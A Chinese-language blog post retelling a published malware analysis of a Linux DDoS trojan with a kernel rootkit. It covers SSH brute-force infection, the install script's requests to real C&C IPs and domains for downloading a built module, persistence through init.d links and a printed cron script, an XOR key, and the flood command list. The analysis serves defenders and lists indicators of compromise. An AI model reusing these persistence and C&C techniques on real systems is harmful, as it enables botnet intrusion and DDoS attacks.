一款隐藏嵌入式Rookit的DDoS木马分析
该款木马分析文章在2015年由@PETER KÁLNAI 最先发表于AVAST的公开blog中,木马的架构严谨,设计精良,应该是产业化的一部分。接下来我们就来看一下这款木马的具体的感染,命令执行和持久化的思路,希望能给我们搞防御的小伙伴扩充一点防御思路。
安装脚本&感染媒介
木马的最初感染方式十分传(dou)统(bi),他是通过暴力登录SSH服务获取root权限的方式来成功搞下感染体的(这里就体现了一个高质量的字典的重要程度了)。成功拿下root权限之后,攻击者就会向目标机器通过shell的方式利用脚本传递执行安装一个木马。这个脚本文件主要包括一些程序如main, check, compiler, uncompress, setup, generate, upload, checkbuild和一些变量如 __host_32__, __host_64__, __kernel__, __remote__等。主程序的作用是根据感染目标机器的系统开发版本加密传输并且选择C&C服务器。
在下面的请求中,iid参数传递的是内核版本名称的MD5哈希。脚本首先用lsmod命令列本机所有的模块信息,然后,提取名称和vermagic字段。在我们测试的环境中,被测试的环境是“3.8.0-19-generic\ SMP\ mod_unload\ modversions\ 686\ ”,对应的MD5是CE74BF62ACFE944B2167248DD0674977。
接下来,就有三个GET请求被发送到C&C服务器上。
第一个是表明目标机器运行的操作系统的信息:
request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
然后,compiler程序会发送第二个GET请求:请求中包括的字段我们猜测应该有C&C服务器,版本信息等,通过这个带有本机特定版本信息的请求,服务器可以据此生成一个可执行程序:
request:
GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin
&password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
&ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20
&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
第三个GET请求则是下载上一个请求之后服务器生成的木马的二进制文件,请求的方式已经非常明显了,看包:
request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001|CE74BF62ACFE944B2167248DD0674977|create ok
而以上的三个步骤仅仅是针对于感染机器的当前系统版本已经包含在远端服务器中的情况。如果当然的操作系统版本信息并没有包含其中,那么脚本文件则会首先定位到内核头文件的/lib/modules/%s/build/目录中(s%代表uname命令返回的特定信息),然后将内核文件打包并上传到C&C服务器上,这里上传是用的mini这个程序。当然,对于一个产业化的木马来说,这种情况是不多见的,一般的发行版本的内核都是已经被提前编译好的,这里所提及的操作系统的内核信息不在C&C服务器中的情况大多是比较特殊的服务器。
该rootkit组件是一个可装载的内核模块(LKM)。在装载之前,需要通过vermagic的值检查。如果绕过检查失败,则该脚本会安装一个木马来替代rootkit组件。
结构和可持续性
主程序的二进制结构如下图所示:
该木马的持续化的方式是通过多种方式进行的。首先,它将自己安装在/boot/目录下,然后命名为一个包含10个字节的字符串。然后脚本将木马以相同的名字在/etc/init.d/ 目录下创建,同时在/etc/rc%u.d/S90%s目录建立五个符号链接,其中u%是1-5,s%是一个随机值。这样保证每次重启系统木马可以随时启动起来。而且,脚本还会对/etc/cron.hourly/cron.sh文件加入以下内容:
#!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’ for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1′,27h,’}`; do ifconfig $i up& done cp /lib/udev/udev /lib/udev/debug /lib/udev/debug
最后在crontab中插入一行代码“*/3 * * * * root /etc/cron.hourly/cron.sh”
主程序主要有三个任务,而且这三个任务是无限循环执行的:
1、下载并执行机器的配置文件;
2、将自身重装到/lib/udev/udev的文件;
3、进行洪水攻击
其中配置文件主要包含接下来四个类型:md5,denyip,filename和rmfile。主程序分别用这四个列表内容来进行下一步的动作:根据md5值匹配一个运行进程的CRC的校验值,匹配则将其杀死;根据ip值来激活一个会话;根据filename值和rmfile值来确定执行或者最后删除一个确定的文件。下图就展示了部分配置文件的内容(已知的竞争泛滥的木马文件名被高亮显示):
在进行自身安装之前先把其他的木马清除是一个洪水木马的典型特征(你丫跟老子争地盘不干你干谁)。
除此之外,我们还注意到,这个木马还是一个ARM架构木马的变种。这表明潜在的受感染系统的列表(除32位和64位的Linux Web服务器外)还有可能扩展到路由器或者网络上的其他可能运行*nix的设备上,不过这也只是一种可能性,目前根据监测还未在其他平台发现过此类木马。木马还包含一个daemondown的功能,专门处理进行文件下载运行工作:
在此之前,我们曾截获过一个该木马的32位变种,变种木马有了一些差异。木马文件安装为/lib/libgcc4.so文件,含有辨识字符串(见下文)的唯一的文件是/var/run/udev.pid。安装的脚本文件则在 /etc/cron.hourly/udev.sh,并且rootkit特性被完全移除。所有的这些文件就是攻陷指标(IoC)。
LKM Rootkit
Windows平台木马使用各种各样的rootkit功能来实现自身目的已经很长时间了。这些木马之中就有不少是用来进行洪水攻击的(从2006年开始,各种此类木马的源代码已经陆续公开),在之前Botconf 2014时,我们就提交过一份关于此类木马的分析报告:《中国鸡:雄鸡中的战斗鸡》(《中国肉鸡:多平台DDoS僵尸网络》),在这篇报告中,老外详细分析了一款国产木马,墙裂建议阅读。而我们目前分析的这款木马主要功能就是在实现目的的同时隐藏自身的行踪:
木马会创建一个 rs_dev进程来检查rootkit,并且通过ioctl函数来调用这些请求。
请求包含两个参数:一个是rootkit执行任务的值,另一个则是需要隐藏的端口的值。下面是一个木马隐藏TCP连接的实例(注意任务序列值为3):
我们从木马的名称来猜测,极有可能木马的作者是受到开源项目Suterusu(https://github.com/mncoppola/suterusu)的启发,而且还借鉴了部分该项目的代码(进程注入部分)。该项目的描述是这么说的:针对于 Linux 2.6/3.x on x86(_64), and ARM平台的LKM rootkit。关于该项目的的分析可以戳这里:http://poppopret.org/2013/01/07/suterusu-rootkit-inline-kernel-function-hooking-on-x86-and-arm/
C&C通信分析
通信是双向加密的,使用的是相同的XOR加密方式的硬编码方式,秘钥为BB2FA36AAA9541F0。通信过程中,/var/run/sftp.pid文件中包含一个唯一的长度为32位的字符串以识别不同的僵尸机器。下图是一个C&C通信的命令列表,我们可以看到僵尸机器所监听的命令:开始洪水攻击,结束洪水攻击,下载文件,更新升级,发送进程md5值,杀死指定进程
在shell脚本中,C&C服务器列表是存储在一个__remote__变量中的,该木马首先将运行系统的参数发送给C&C服务器,而回复则是以一个命令的形式返回的。命令的报头是一个长度为0x1C的字符串,该字符串存储于Header变量中。第一个命令首先是停止所有攻击,同时下达一个列表中的命令(命令重置)。下图表示了整个命令,其中高亮圈出来的分别是:返回命令总长度(0x102C),任务序列值(0×3,这里对照上面的列表知道是_cmd_start)和洪水任务值(0xF):
命令剩下的部分包含了一个加密结构的攻击任务。对字符串解密之后,我们可以看到这中间有IP地址(红色),待攻击的端口(绿色),攻击类型(灰色,SYN/DNS)